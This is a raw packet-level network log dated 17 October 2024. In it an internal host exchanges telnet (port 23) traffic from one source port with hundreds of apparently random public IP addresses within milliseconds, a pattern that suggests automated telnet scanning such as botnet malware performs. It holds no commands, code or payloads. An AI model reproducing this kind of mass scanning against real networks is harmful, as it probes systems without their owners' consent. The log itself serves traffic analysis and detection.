Oct 17, 2024 02:19:41.020890951 CEST	20632	23	192.168.2.14	195.202.138.177
Oct 17, 2024 02:19:41.020903111 CEST	23	20632	43.36.80.151	192.168.2.14
Oct 17, 2024 02:19:41.020916939 CEST	23	20632	116.132.72.45	192.168.2.14
Oct 17, 2024 02:19:41.020925999 CEST	20632	23	192.168.2.14	13.26.103.55
Oct 17, 2024 02:19:41.020931005 CEST	23	20632	119.104.240.28	192.168.2.14
Oct 17, 2024 02:19:41.020947933 CEST	23	20632	35.111.185.174	192.168.2.14
Oct 17, 2024 02:19:41.020956039 CEST	20632	23	192.168.2.14	38.80.57.113
Oct 17, 2024 02:19:41.020957947 CEST	20632	23	192.168.2.14	37.249.224.181
Oct 17, 2024 02:19:41.020962000 CEST	23	20632	106.1.161.25	192.168.2.14
Oct 17, 2024 02:19:41.020971060 CEST	20632	23	192.168.2.14	43.36.80.151
Oct 17, 2024 02:19:41.020972013 CEST	20632	23	192.168.2.14	116.132.72.45
Oct 17, 2024 02:19:41.020972013 CEST	20632	23	192.168.2.14	119.104.240.28
Oct 17, 2024 02:19:41.020976067 CEST	23	20632	52.10.16.1	192.168.2.14
Oct 17, 2024 02:19:41.020977020 CEST	20632	23	192.168.2.14	35.111.185.174
Oct 17, 2024 02:19:41.020989895 CEST	23	20632	36.46.105.191	192.168.2.14
Oct 17, 2024 02:19:41.020993948 CEST	20632	23	192.168.2.14	106.1.161.25
Oct 17, 2024 02:19:41.021004915 CEST	23	20632	132.59.36.43	192.168.2.14
Oct 17, 2024 02:19:41.021023035 CEST	23	20632	115.198.92.20	192.168.2.14
Oct 17, 2024 02:19:41.021037102 CEST	23	20632	77.76.26.60	192.168.2.14
Oct 17, 2024 02:19:41.021050930 CEST	23	20632	49.123.74.230	192.168.2.14
Oct 17, 2024 02:19:41.021064997 CEST	23	20632	19.40.175.9	192.168.2.14
Oct 17, 2024 02:19:41.021068096 CEST	20632	23	192.168.2.14	52.10.16.1
Oct 17, 2024 02:19:41.021078110 CEST	20632	23	192.168.2.14	36.46.105.191
Oct 17, 2024 02:19:41.021078110 CEST	20632	23	192.168.2.14	132.59.36.43
Oct 17, 2024 02:19:41.021079063 CEST	23	20632	139.3.81.195	192.168.2.14
Oct 17, 2024 02:19:41.021091938 CEST	20632	23	192.168.2.14	115.198.92.20
Oct 17, 2024 02:19:41.021091938 CEST	20632	23	192.168.2.14	49.123.74.230
Oct 17, 2024 02:19:41.021092892 CEST	20632	23	192.168.2.14	77.76.26.60
Oct 17, 2024 02:19:41.021104097 CEST	23	20632	163.23.92.123	192.168.2.14
Oct 17, 2024 02:19:41.021105051 CEST	20632	23	192.168.2.14	19.40.175.9
Oct 17, 2024 02:19:41.021112919 CEST	20632	23	192.168.2.14	139.3.81.195
Oct 17, 2024 02:19:41.021122932 CEST	23	20632	184.213.128.143	192.168.2.14
Oct 17, 2024 02:19:41.021140099 CEST	23	20632	117.5.25.159	192.168.2.14
Oct 17, 2024 02:19:41.021155119 CEST	23	20632	122.215.157.189	192.168.2.14
Oct 17, 2024 02:19:41.021162033 CEST	20632	23	192.168.2.14	163.23.92.123
Oct 17, 2024 02:19:41.021168947 CEST	23	20632	2.37.2.189	192.168.2.14
Oct 17, 2024 02:19:41.021183014 CEST	23	20632	180.6.254.208	192.168.2.14
Oct 17, 2024 02:19:41.021195889 CEST	23	20632	107.107.126.61	192.168.2.14
Oct 17, 2024 02:19:41.021212101 CEST	23	20632	122.163.80.205	192.168.2.14
Oct 17, 2024 02:19:41.021222115 CEST	20632	23	192.168.2.14	117.5.25.159
Oct 17, 2024 02:19:41.021222115 CEST	20632	23	192.168.2.14	122.215.157.189
Oct 17, 2024 02:19:41.021223068 CEST	20632	23	192.168.2.14	184.213.128.143
Oct 17, 2024 02:19:41.021225929 CEST	23	20632	113.149.64.136	192.168.2.14
Oct 17, 2024 02:19:41.021235943 CEST	20632	23	192.168.2.14	107.107.126.61
Oct 17, 2024 02:19:41.021241903 CEST	23	20632	188.134.107.163	192.168.2.14
Oct 17, 2024 02:19:41.021250963 CEST	20632	23	192.168.2.14	122.163.80.205
Oct 17, 2024 02:19:41.021256924 CEST	23	20632	53.110.129.248	192.168.2.14
Oct 17, 2024 02:19:41.021265984 CEST	20632	23	192.168.2.14	113.149.64.136
Oct 17, 2024 02:19:41.021270990 CEST	23	20632	42.236.69.75	192.168.2.14
Oct 17, 2024 02:19:41.021275997 CEST	20632	23	192.168.2.14	2.37.2.189
Oct 17, 2024 02:19:41.021275997 CEST	20632	23	192.168.2.14	180.6.254.208
Oct 17, 2024 02:19:41.021285057 CEST	23	20632	128.250.224.78	192.168.2.14
Oct 17, 2024 02:19:41.021286964 CEST	20632	23	192.168.2.14	188.134.107.163
Oct 17, 2024 02:19:41.021291018 CEST	20632	23	192.168.2.14	42.236.69.75
Oct 17, 2024 02:19:41.021298885 CEST	23	20632	9.86.196.46	192.168.2.14
Oct 17, 2024 02:19:41.021306038 CEST	20632	23	192.168.2.14	53.110.129.248
Oct 17, 2024 02:19:41.021313906 CEST	23	20632	93.177.209.14	192.168.2.14
Oct 17, 2024 02:19:41.021325111 CEST	20632	23	192.168.2.14	128.250.224.78
Oct 17, 2024 02:19:41.021327972 CEST	23	20632	48.235.8.198	192.168.2.14
Oct 17, 2024 02:19:41.021342993 CEST	23	20632	87.124.93.8	192.168.2.14
Oct 17, 2024 02:19:41.021357059 CEST	23	20632	179.34.249.69	192.168.2.14
Oct 17, 2024 02:19:41.021369934 CEST	23	20632	125.119.136.164	192.168.2.14
Oct 17, 2024 02:19:41.021384954 CEST	23	20632	77.116.244.161	192.168.2.14
Oct 17, 2024 02:19:41.021388054 CEST	20632	23	192.168.2.14	9.86.196.46
Oct 17, 2024 02:19:41.021390915 CEST	20632	23	192.168.2.14	48.235.8.198
Oct 17, 2024 02:19:41.021392107 CEST	20632	23	192.168.2.14	87.124.93.8
Oct 17, 2024 02:19:41.021394014 CEST	20632	23	192.168.2.14	179.34.249.69
Oct 17, 2024 02:19:41.021399021 CEST	23	20632	81.140.194.174	192.168.2.14
Oct 17, 2024 02:19:41.021413088 CEST	23	20632	62.145.13.217	192.168.2.14
Oct 17, 2024 02:19:41.021425009 CEST	20632	23	192.168.2.14	125.119.136.164
Oct 17, 2024 02:19:41.021425009 CEST	20632	23	192.168.2.14	77.116.244.161
Oct 17, 2024 02:19:41.021426916 CEST	23	20632	48.46.130.117	192.168.2.14
Oct 17, 2024 02:19:41.021429062 CEST	20632	23	192.168.2.14	81.140.194.174
Oct 17, 2024 02:19:41.021442890 CEST	20632	23	192.168.2.14	93.177.209.14
Oct 17, 2024 02:19:41.021451950 CEST	23	20632	4.202.208.172	192.168.2.14
Oct 17, 2024 02:19:41.021459103 CEST	20632	23	192.168.2.14	62.145.13.217
Oct 17, 2024 02:19:41.021466017 CEST	20632	23	192.168.2.14	48.46.130.117
Oct 17, 2024 02:19:41.021467924 CEST	23	20632	192.175.75.59	192.168.2.14
Oct 17, 2024 02:19:41.021482944 CEST	23	20632	156.117.15.216	192.168.2.14
Oct 17, 2024 02:19:41.021497011 CEST	23	20632	126.56.148.42	192.168.2.14
Oct 17, 2024 02:19:41.021512032 CEST	23	20632	8.49.162.197	192.168.2.14
Oct 17, 2024 02:19:41.021526098 CEST	23	20632	171.185.61.250	192.168.2.14
Oct 17, 2024 02:19:41.021528959 CEST	20632	23	192.168.2.14	4.202.208.172
Oct 17, 2024 02:19:41.021539927 CEST	23	20632	144.31.61.66	192.168.2.14
Oct 17, 2024 02:19:41.021544933 CEST	20632	23	192.168.2.14	192.175.75.59
Oct 17, 2024 02:19:41.021550894 CEST	20632	23	192.168.2.14	156.117.15.216
Oct 17, 2024 02:19:41.021554947 CEST	23	20632	78.216.209.53	192.168.2.14
Oct 17, 2024 02:19:41.021568060 CEST	23	20632	71.195.223.197	192.168.2.14
Oct 17, 2024 02:19:41.021581888 CEST	23	20632	132.187.83.109	192.168.2.14
Oct 17, 2024 02:19:41.021584034 CEST	20632	23	192.168.2.14	144.31.61.66
Oct 17, 2024 02:19:41.021583080 CEST	20632	23	192.168.2.14	78.216.209.53
Oct 17, 2024 02:19:41.021589994 CEST	20632	23	192.168.2.14	171.185.61.250
Oct 17, 2024 02:19:41.021595001 CEST	20632	23	192.168.2.14	126.56.148.42
Oct 17, 2024 02:19:41.021595001 CEST	20632	23	192.168.2.14	71.195.223.197
Oct 17, 2024 02:19:41.021595001 CEST	23	20632	198.147.205.205	192.168.2.14
Oct 17, 2024 02:19:41.021595001 CEST	20632	23	192.168.2.14	8.49.162.197
Oct 17, 2024 02:19:41.021611929 CEST	23	20632	155.239.64.76	192.168.2.14
Oct 17, 2024 02:19:41.021617889 CEST	20632	23	192.168.2.14	132.187.83.109
Oct 17, 2024 02:19:41.021625042 CEST	23	20632	18.80.12.213	192.168.2.14
Oct 17, 2024 02:19:41.021637917 CEST	23	20632	159.82.173.142	192.168.2.14
Oct 17, 2024 02:19:41.021651983 CEST	23	20632	131.114.119.244	192.168.2.14
Oct 17, 2024 02:19:41.021665096 CEST	23	20632	187.135.114.88	192.168.2.14
Oct 17, 2024 02:19:41.021678925 CEST	23	20632	136.254.198.157	192.168.2.14
Oct 17, 2024 02:19:41.021682978 CEST	20632	23	192.168.2.14	198.147.205.205
Oct 17, 2024 02:19:41.021692038 CEST	23	20632	83.138.151.150	192.168.2.14
Oct 17, 2024 02:19:41.021694899 CEST	20632	23	192.168.2.14	131.114.119.244
Oct 17, 2024 02:19:41.021704912 CEST	23	20632	210.90.77.206	192.168.2.14
Oct 17, 2024 02:19:41.021706104 CEST	20632	23	192.168.2.14	155.239.64.76
Oct 17, 2024 02:19:41.021707058 CEST	20632	23	192.168.2.14	18.80.12.213
Oct 17, 2024 02:19:41.021707058 CEST	20632	23	192.168.2.14	159.82.173.142
Oct 17, 2024 02:19:41.021707058 CEST	20632	23	192.168.2.14	187.135.114.88
Oct 17, 2024 02:19:41.021709919 CEST	20632	23	192.168.2.14	136.254.198.157
Oct 17, 2024 02:19:41.021718979 CEST	23	20632	60.191.243.43	192.168.2.14
Oct 17, 2024 02:19:41.021727085 CEST	20632	23	192.168.2.14	83.138.151.150
Oct 17, 2024 02:19:41.021732092 CEST	23	20632	156.239.22.190	192.168.2.14
Oct 17, 2024 02:19:41.021743059 CEST	20632	23	192.168.2.14	210.90.77.206
Oct 17, 2024 02:19:41.021747112 CEST	23	20632	60.12.176.134	192.168.2.14
Oct 17, 2024 02:19:41.021759987 CEST	23	20632	62.98.183.194	192.168.2.14
Oct 17, 2024 02:19:41.021766901 CEST	20632	23	192.168.2.14	60.191.243.43
Oct 17, 2024 02:19:41.021766901 CEST	20632	23	192.168.2.14	156.239.22.190
Oct 17, 2024 02:19:41.021783113 CEST	23	20632	38.42.250.254	192.168.2.14
Oct 17, 2024 02:19:41.021785975 CEST	20632	23	192.168.2.14	62.98.183.194
Oct 17, 2024 02:19:41.021790028 CEST	20632	23	192.168.2.14	60.12.176.134
Oct 17, 2024 02:19:41.021800041 CEST	23	20632	66.179.168.236	192.168.2.14
Oct 17, 2024 02:19:41.021814108 CEST	23	20632	151.148.108.48	192.168.2.14
Oct 17, 2024 02:19:41.021828890 CEST	23	20632	125.247.151.230	192.168.2.14
Oct 17, 2024 02:19:41.021842957 CEST	23	20632	158.238.37.85	192.168.2.14
Oct 17, 2024 02:19:41.021859884 CEST	23	20632	99.69.124.0	192.168.2.14
Oct 17, 2024 02:19:41.021872997 CEST	20632	23	192.168.2.14	125.247.151.230
Oct 17, 2024 02:19:41.021873951 CEST	23	20632	80.96.110.231	192.168.2.14
Oct 17, 2024 02:19:41.021878958 CEST	20632	23	192.168.2.14	151.148.108.48
Oct 17, 2024 02:19:41.021883965 CEST	20632	23	192.168.2.14	158.238.37.85
Oct 17, 2024 02:19:41.021888971 CEST	23	20632	220.34.35.118	192.168.2.14
Oct 17, 2024 02:19:41.021893978 CEST	20632	23	192.168.2.14	99.69.124.0
Oct 17, 2024 02:19:41.021898031 CEST	20632	23	192.168.2.14	66.179.168.236
Oct 17, 2024 02:19:41.021903992 CEST	23	20632	179.6.178.79	192.168.2.14
Oct 17, 2024 02:19:41.021910906 CEST	20632	23	192.168.2.14	80.96.110.231
Oct 17, 2024 02:19:41.021917105 CEST	23	20632	114.196.95.96	192.168.2.14
Oct 17, 2024 02:19:41.021918058 CEST	20632	23	192.168.2.14	38.42.250.254
Oct 17, 2024 02:19:41.021924973 CEST	20632	23	192.168.2.14	220.34.35.118
Oct 17, 2024 02:19:41.021929026 CEST	23	20632	87.110.186.115	192.168.2.14
Oct 17, 2024 02:19:41.021941900 CEST	23	20632	141.238.147.105	192.168.2.14
Oct 17, 2024 02:19:41.021941900 CEST	20632	23	192.168.2.14	179.6.178.79
Oct 17, 2024 02:19:41.021955967 CEST	23	20632	97.203.151.25	192.168.2.14
Oct 17, 2024 02:19:41.021969080 CEST	23	20632	197.98.168.86	192.168.2.14
Oct 17, 2024 02:19:41.021982908 CEST	23	20632	141.218.185.57	192.168.2.14
Oct 17, 2024 02:19:41.021996975 CEST	23	20632	210.51.100.164	192.168.2.14
Oct 17, 2024 02:19:41.022000074 CEST	20632	23	192.168.2.14	114.196.95.96
Oct 17, 2024 02:19:41.022007942 CEST	20632	23	192.168.2.14	141.238.147.105
Oct 17, 2024 02:19:41.022008896 CEST	23	20632	223.5.29.42	192.168.2.14
Oct 17, 2024 02:19:41.022020102 CEST	20632	23	192.168.2.14	97.203.151.25
Oct 17, 2024 02:19:41.022022963 CEST	23	20632	183.198.206.101	192.168.2.14
Oct 17, 2024 02:19:41.022027969 CEST	20632	23	192.168.2.14	87.110.186.115
Oct 17, 2024 02:19:41.022027969 CEST	20632	23	192.168.2.14	141.218.185.57
Oct 17, 2024 02:19:41.022037983 CEST	23	20632	151.245.10.243	192.168.2.14
Oct 17, 2024 02:19:41.022053003 CEST	23	20632	41.34.151.134	192.168.2.14
Oct 17, 2024 02:19:41.022054911 CEST	20632	23	192.168.2.14	197.98.168.86
Oct 17, 2024 02:19:41.022058010 CEST	20632	23	192.168.2.14	210.51.100.164
Oct 17, 2024 02:19:41.022058010 CEST	20632	23	192.168.2.14	223.5.29.42
Oct 17, 2024 02:19:41.022058010 CEST	20632	23	192.168.2.14	183.198.206.101
Oct 17, 2024 02:19:41.022066116 CEST	23	20632	160.225.192.106	192.168.2.14
Oct 17, 2024 02:19:41.022078991 CEST	23	20632	124.10.137.202	192.168.2.14
Oct 17, 2024 02:19:41.022089958 CEST	20632	23	192.168.2.14	151.245.10.243
Oct 17, 2024 02:19:41.022089958 CEST	20632	23	192.168.2.14	41.34.151.134
Oct 17, 2024 02:19:41.022093058 CEST	23	20632	84.91.236.53	192.168.2.14
Oct 17, 2024 02:19:41.022095919 CEST	20632	23	192.168.2.14	160.225.192.106
Oct 17, 2024 02:19:41.022108078 CEST	23	20632	94.190.51.127	192.168.2.14
Oct 17, 2024 02:19:41.022116899 CEST	20632	23	192.168.2.14	124.10.137.202
Oct 17, 2024 02:19:41.022125959 CEST	23	20632	109.222.72.206	192.168.2.14
Oct 17, 2024 02:19:41.022140980 CEST	23	20632	93.142.237.218	192.168.2.14
Oct 17, 2024 02:19:41.022152901 CEST	23	20632	221.153.106.153	192.168.2.14
Oct 17, 2024 02:19:41.022160053 CEST	20632	23	192.168.2.14	94.190.51.127
Oct 17, 2024 02:19:41.022160053 CEST	20632	23	192.168.2.14	109.222.72.206
Oct 17, 2024 02:19:41.022166014 CEST	20632	23	192.168.2.14	84.91.236.53
Oct 17, 2024 02:19:41.022166014 CEST	23	20632	19.244.155.162	192.168.2.14
Oct 17, 2024 02:19:41.022171021 CEST	20632	23	192.168.2.14	93.142.237.218
Oct 17, 2024 02:19:41.022181034 CEST	23	20632	112.249.126.91	192.168.2.14
Oct 17, 2024 02:19:41.022195101 CEST	23	20632	191.198.199.202	192.168.2.14
Oct 17, 2024 02:19:41.022202015 CEST	20632	23	192.168.2.14	221.153.106.153
Oct 17, 2024 02:19:41.022206068 CEST	20632	23	192.168.2.14	19.244.155.162
Oct 17, 2024 02:19:41.022208929 CEST	23	20632	155.151.222.178	192.168.2.14
Oct 17, 2024 02:19:41.022222996 CEST	20632	23	192.168.2.14	112.249.126.91
Oct 17, 2024 02:19:41.022223949 CEST	23	20632	103.237.8.8	192.168.2.14
Oct 17, 2024 02:19:41.022238016 CEST	23	20632	110.80.67.223	192.168.2.14
Oct 17, 2024 02:19:41.022250891 CEST	23	20632	115.118.31.147	192.168.2.14
Oct 17, 2024 02:19:41.022253990 CEST	20632	23	192.168.2.14	191.198.199.202
Oct 17, 2024 02:19:41.022264004 CEST	23	20632	54.181.75.160	192.168.2.14
Oct 17, 2024 02:19:41.022279024 CEST	23	20632	77.171.191.147	192.168.2.14
Oct 17, 2024 02:19:41.022285938 CEST	20632	23	192.168.2.14	103.237.8.8
Oct 17, 2024 02:19:41.022291899 CEST	23	20632	146.38.3.24	192.168.2.14
Oct 17, 2024 02:19:41.022296906 CEST	20632	23	192.168.2.14	155.151.222.178
Oct 17, 2024 02:19:41.022306919 CEST	23	20632	14.162.0.144	192.168.2.14
Oct 17, 2024 02:19:41.022308111 CEST	20632	23	192.168.2.14	54.181.75.160
Oct 17, 2024 02:19:41.022314072 CEST	20632	23	192.168.2.14	115.118.31.147
Oct 17, 2024 02:19:41.022320032 CEST	20632	23	192.168.2.14	77.171.191.147
Oct 17, 2024 02:19:41.022320986 CEST	23	20632	95.69.253.10	192.168.2.14
Oct 17, 2024 02:19:41.022326946 CEST	20632	23	192.168.2.14	110.80.67.223
Oct 17, 2024 02:19:41.022332907 CEST	20632	23	192.168.2.14	146.38.3.24
Oct 17, 2024 02:19:41.022335052 CEST	23	20632	45.74.156.239	192.168.2.14
Oct 17, 2024 02:19:41.022346973 CEST	20632	23	192.168.2.14	14.162.0.144
Oct 17, 2024 02:19:41.022349119 CEST	23	20632	162.168.145.220	192.168.2.14
Oct 17, 2024 02:19:41.022356987 CEST	20632	23	192.168.2.14	95.69.253.10
Oct 17, 2024 02:19:41.022362947 CEST	23	20632	69.102.89.69	192.168.2.14
Oct 17, 2024 02:19:41.022376060 CEST	23	20632	190.4.9.232	192.168.2.14
Oct 17, 2024 02:19:41.022389889 CEST	23	20632	94.65.86.116	192.168.2.14
Oct 17, 2024 02:19:41.022401094 CEST	20632	23	192.168.2.14	45.74.156.239
Oct 17, 2024 02:19:41.022403955 CEST	23	20632	202.66.107.47	192.168.2.14
Oct 17, 2024 02:19:41.022408962 CEST	20632	23	192.168.2.14	162.168.145.220
Oct 17, 2024 02:19:41.022409916 CEST	20632	23	192.168.2.14	69.102.89.69
Oct 17, 2024 02:19:41.022412062 CEST	20632	23	192.168.2.14	190.4.9.232
Oct 17, 2024 02:19:41.022418022 CEST	23	20632	105.248.33.107	192.168.2.14
Oct 17, 2024 02:19:41.022419930 CEST	20632	23	192.168.2.14	94.65.86.116
Oct 17, 2024 02:19:41.022433043 CEST	23	20632	69.233.20.61	192.168.2.14
Oct 17, 2024 02:19:41.022439003 CEST	20632	23	192.168.2.14	202.66.107.47
Oct 17, 2024 02:19:41.022449017 CEST	23	20632	70.189.118.211	192.168.2.14
Oct 17, 2024 02:19:41.022454023 CEST	20632	23	192.168.2.14	105.248.33.107
Oct 17, 2024 02:19:41.022463083 CEST	23	20632	115.65.143.122	192.168.2.14
Oct 17, 2024 02:19:41.022469997 CEST	20632	23	192.168.2.14	69.233.20.61
Oct 17, 2024 02:19:41.022476912 CEST	23	20632	151.190.129.209	192.168.2.14
Oct 17, 2024 02:19:41.022484064 CEST	20632	23	192.168.2.14	70.189.118.211
Oct 17, 2024 02:19:41.022490978 CEST	23	20632	9.129.66.176	192.168.2.14
Oct 17, 2024 02:19:41.022494078 CEST	20632	23	192.168.2.14	115.65.143.122
Oct 17, 2024 02:19:41.022504091 CEST	23	20632	103.213.33.45	192.168.2.14
Oct 17, 2024 02:19:41.022506952 CEST	20632	23	192.168.2.14	151.190.129.209
Oct 17, 2024 02:19:41.022516966 CEST	23	20632	57.197.216.207	192.168.2.14
Oct 17, 2024 02:19:41.022522926 CEST	20632	23	192.168.2.14	9.129.66.176
Oct 17, 2024 02:19:41.022530079 CEST	23	20632	168.247.163.104	192.168.2.14
Oct 17, 2024 02:19:41.022541046 CEST	20632	23	192.168.2.14	103.213.33.45
Oct 17, 2024 02:19:41.022542953 CEST	23	20632	78.203.131.104	192.168.2.14
Oct 17, 2024 02:19:41.022553921 CEST	20632	23	192.168.2.14	57.197.216.207
Oct 17, 2024 02:19:41.022556067 CEST	23	20632	106.91.86.96	192.168.2.14
Oct 17, 2024 02:19:41.022558928 CEST	20632	23	192.168.2.14	168.247.163.104
Oct 17, 2024 02:19:41.022571087 CEST	23	20632	162.108.61.130	192.168.2.14
Oct 17, 2024 02:19:41.022576094 CEST	20632	23	192.168.2.14	78.203.131.104
Oct 17, 2024 02:19:41.022583961 CEST	23	20632	109.141.17.248	192.168.2.14
Oct 17, 2024 02:19:41.022597075 CEST	23	20632	45.133.49.235	192.168.2.14
Oct 17, 2024 02:19:41.022598982 CEST	20632	23	192.168.2.14	106.91.86.96
Oct 17, 2024 02:19:41.022598982 CEST	20632	23	192.168.2.14	162.108.61.130
Oct 17, 2024 02:19:41.022609949 CEST	20632	23	192.168.2.14	109.141.17.248
Oct 17, 2024 02:19:41.022609949 CEST	23	20632	117.108.68.93	192.168.2.14
Oct 17, 2024 02:19:41.022624969 CEST	23	20632	8.134.47.169	192.168.2.14
Oct 17, 2024 02:19:41.022631884 CEST	20632	23	192.168.2.14	45.133.49.235
Oct 17, 2024 02:19:41.022638083 CEST	23	20632	210.129.166.123	192.168.2.14
Oct 17, 2024 02:19:41.022651911 CEST	23	20632	119.58.44.86	192.168.2.14
Oct 17, 2024 02:19:41.022655010 CEST	20632	23	192.168.2.14	8.134.47.169
Oct 17, 2024 02:19:41.022658110 CEST	20632	23	192.168.2.14	117.108.68.93
Oct 17, 2024 02:19:41.022665977 CEST	23	20632	121.69.196.140	192.168.2.14
Oct 17, 2024 02:19:41.022672892 CEST	20632	23	192.168.2.14	210.129.166.123
Oct 17, 2024 02:19:41.022679090 CEST	23	20632	61.133.158.61	192.168.2.14
Oct 17, 2024 02:19:41.022686958 CEST	20632	23	192.168.2.14	119.58.44.86
Oct 17, 2024 02:19:41.022691965 CEST	23	20632	120.113.5.90	192.168.2.14
Oct 17, 2024 02:19:41.022701025 CEST	20632	23	192.168.2.14	121.69.196.140
Oct 17, 2024 02:19:41.022706032 CEST	23	20632	176.127.212.221	192.168.2.14
Oct 17, 2024 02:19:41.022720098 CEST	23	20632	111.246.172.202	192.168.2.14
Oct 17, 2024 02:19:41.022722960 CEST	20632	23	192.168.2.14	61.133.158.61
Oct 17, 2024 02:19:41.022722960 CEST	20632	23	192.168.2.14	120.113.5.90
Oct 17, 2024 02:19:41.022732019 CEST	23	20632	93.96.79.149	192.168.2.14
Oct 17, 2024 02:19:41.022742987 CEST	20632	23	192.168.2.14	176.127.212.221
Oct 17, 2024 02:19:41.022747040 CEST	23	20632	199.141.4.160	192.168.2.14
Oct 17, 2024 02:19:41.022753000 CEST	20632	23	192.168.2.14	111.246.172.202
Oct 17, 2024 02:19:41.022763968 CEST	23	20632	154.204.103.231	192.168.2.14
Oct 17, 2024 02:19:41.022764921 CEST	20632	23	192.168.2.14	93.96.79.149
Oct 17, 2024 02:19:41.022774935 CEST	20632	23	192.168.2.14	199.141.4.160
Oct 17, 2024 02:19:41.022778034 CEST	23	20632	139.247.205.166	192.168.2.14
Oct 17, 2024 02:19:41.022792101 CEST	23	20632	2.183.103.12	192.168.2.14
Oct 17, 2024 02:19:41.022797108 CEST	20632	23	192.168.2.14	154.204.103.231
Oct 17, 2024 02:19:41.022804976 CEST	23	20632	160.244.207.137	192.168.2.14
Oct 17, 2024 02:19:41.022819042 CEST	23	20632	183.155.79.206	192.168.2.14
Oct 17, 2024 02:19:41.022833109 CEST	23	20632	157.231.195.241	192.168.2.14
Oct 17, 2024 02:19:41.022844076 CEST	20632	23	192.168.2.14	2.183.103.12
Oct 17, 2024 02:19:41.022849083 CEST	23	20632	106.83.107.159	192.168.2.14
Oct 17, 2024 02:19:41.022865057 CEST	23	20632	171.63.60.73	192.168.2.14
Oct 17, 2024 02:19:41.022870064 CEST	20632	23	192.168.2.14	139.247.205.166
Oct 17, 2024 02:19:41.022870064 CEST	20632	23	192.168.2.14	183.155.79.206
Oct 17, 2024 02:19:41.022877932 CEST	23	20632	106.185.130.18	192.168.2.14
Oct 17, 2024 02:19:41.022891045 CEST	23	20632	141.32.87.10	192.168.2.14
Oct 17, 2024 02:19:41.022891998 CEST	20632	23	192.168.2.14	106.83.107.159
Oct 17, 2024 02:19:41.022896051 CEST	20632	23	192.168.2.14	160.244.207.137
Oct 17, 2024 02:19:41.022896051 CEST	20632	23	192.168.2.14	157.231.195.241
Oct 17, 2024 02:19:41.022906065 CEST	23	20632	151.41.97.229	192.168.2.14
Oct 17, 2024 02:19:41.022913933 CEST	20632	23	192.168.2.14	171.63.60.73
Oct 17, 2024 02:19:41.022917986 CEST	20632	23	192.168.2.14	106.185.130.18
Oct 17, 2024 02:19:41.022918940 CEST	23	20632	163.114.88.228	192.168.2.14
Oct 17, 2024 02:19:41.022924900 CEST	20632	23	192.168.2.14	141.32.87.10
Oct 17, 2024 02:19:41.022933960 CEST	23	20632	58.238.58.95	192.168.2.14
Oct 17, 2024 02:19:41.022945881 CEST	20632	23	192.168.2.14	151.41.97.229
Oct 17, 2024 02:19:41.022947073 CEST	23	20632	186.121.90.236	192.168.2.14
Oct 17, 2024 02:19:41.022960901 CEST	23	20632	137.43.97.39	192.168.2.14
Oct 17, 2024 02:19:41.022974968 CEST	23	20632	95.238.235.245	192.168.2.14
Oct 17, 2024 02:19:41.022980928 CEST	20632	23	192.168.2.14	58.238.58.95
Oct 17, 2024 02:19:41.022988081 CEST	23	20632	174.100.134.66	192.168.2.14
Oct 17, 2024 02:19:41.023000002 CEST	20632	23	192.168.2.14	163.114.88.228
Oct 17, 2024 02:19:41.023000002 CEST	20632	23	192.168.2.14	186.121.90.236
Oct 17, 2024 02:19:41.023000956 CEST	23	20632	171.32.134.193	192.168.2.14
Oct 17, 2024 02:19:41.023009062 CEST	20632	23	192.168.2.14	95.238.235.245
Oct 17, 2024 02:19:41.023014069 CEST	23	20632	124.138.18.195	192.168.2.14
Oct 17, 2024 02:19:41.023019075 CEST	20632	23	192.168.2.14	137.43.97.39
Oct 17, 2024 02:19:41.023027897 CEST	20632	23	192.168.2.14	171.32.134.193
Oct 17, 2024 02:19:41.023027897 CEST	23	20632	25.1.11.227	192.168.2.14
Oct 17, 2024 02:19:41.023035049 CEST	20632	23	192.168.2.14	174.100.134.66
Oct 17, 2024 02:19:41.023041964 CEST	23	20632	59.210.249.197	192.168.2.14
Oct 17, 2024 02:19:41.023055077 CEST	23	20632	101.43.61.153	192.168.2.14
Oct 17, 2024 02:19:41.023068905 CEST	23	20632	126.21.118.155	192.168.2.14
Oct 17, 2024 02:19:41.023085117 CEST	23	20632	46.226.185.56	192.168.2.14
Oct 17, 2024 02:19:41.023098946 CEST	23	20632	184.71.29.116	192.168.2.14
Oct 17, 2024 02:19:41.023107052 CEST	20632	23	192.168.2.14	126.21.118.155
Oct 17, 2024 02:19:41.023111105 CEST	23	20632	31.129.11.66	192.168.2.14
Oct 17, 2024 02:19:41.023123980 CEST	20632	23	192.168.2.14	124.138.18.195
Oct 17, 2024 02:19:41.023124933 CEST	23	20632	76.150.92.166	192.168.2.14
Oct 17, 2024 02:19:41.023129940 CEST	20632	23	192.168.2.14	46.226.185.56
Oct 17, 2024 02:19:41.023130894 CEST	20632	23	192.168.2.14	59.210.249.197
Oct 17, 2024 02:19:41.023130894 CEST	20632	23	192.168.2.14	25.1.11.227
Oct 17, 2024 02:19:41.023130894 CEST	20632	23	192.168.2.14	101.43.61.153
Oct 17, 2024 02:19:41.023130894 CEST	20632	23	192.168.2.14	184.71.29.116
Oct 17, 2024 02:19:41.023139000 CEST	23	20632	203.249.191.172	192.168.2.14
Oct 17, 2024 02:19:41.023142099 CEST	20632	23	192.168.2.14	31.129.11.66
Oct 17, 2024 02:19:41.023153067 CEST	23	20632	8.64.48.245	192.168.2.14
Oct 17, 2024 02:19:41.023154974 CEST	20632	23	192.168.2.14	76.150.92.166
Oct 17, 2024 02:19:41.023166895 CEST	23	20632	181.114.203.134	192.168.2.14
Oct 17, 2024 02:19:41.023180008 CEST	23	20632	182.233.62.2	192.168.2.14
Oct 17, 2024 02:19:41.023191929 CEST	20632	23	192.168.2.14	203.249.191.172
Oct 17, 2024 02:19:41.023194075 CEST	23	20632	109.164.225.54	192.168.2.14
Oct 17, 2024 02:19:41.023194075 CEST	20632	23	192.168.2.14	8.64.48.245
Oct 17, 2024 02:19:41.023207903 CEST	23	20632	149.183.118.96	192.168.2.14
Oct 17, 2024 02:19:41.023211002 CEST	20632	23	192.168.2.14	182.233.62.2
Oct 17, 2024 02:19:41.023214102 CEST	20632	23	192.168.2.14	181.114.203.134
Oct 17, 2024 02:19:41.023222923 CEST	23	20632	52.79.171.151	192.168.2.14
Oct 17, 2024 02:19:41.023236036 CEST	23	20632	154.152.84.215	192.168.2.14
Oct 17, 2024 02:19:41.023250103 CEST	23	20632	2.159.64.179	192.168.2.14
Oct 17, 2024 02:19:41.023261070 CEST	20632	23	192.168.2.14	109.164.225.54
Oct 17, 2024 02:19:41.023263931 CEST	23	20632	194.27.56.66	192.168.2.14
Oct 17, 2024 02:19:41.023277998 CEST	23	20632	4.225.41.15	192.168.2.14
Oct 17, 2024 02:19:41.023283958 CEST	20632	23	192.168.2.14	149.183.118.96
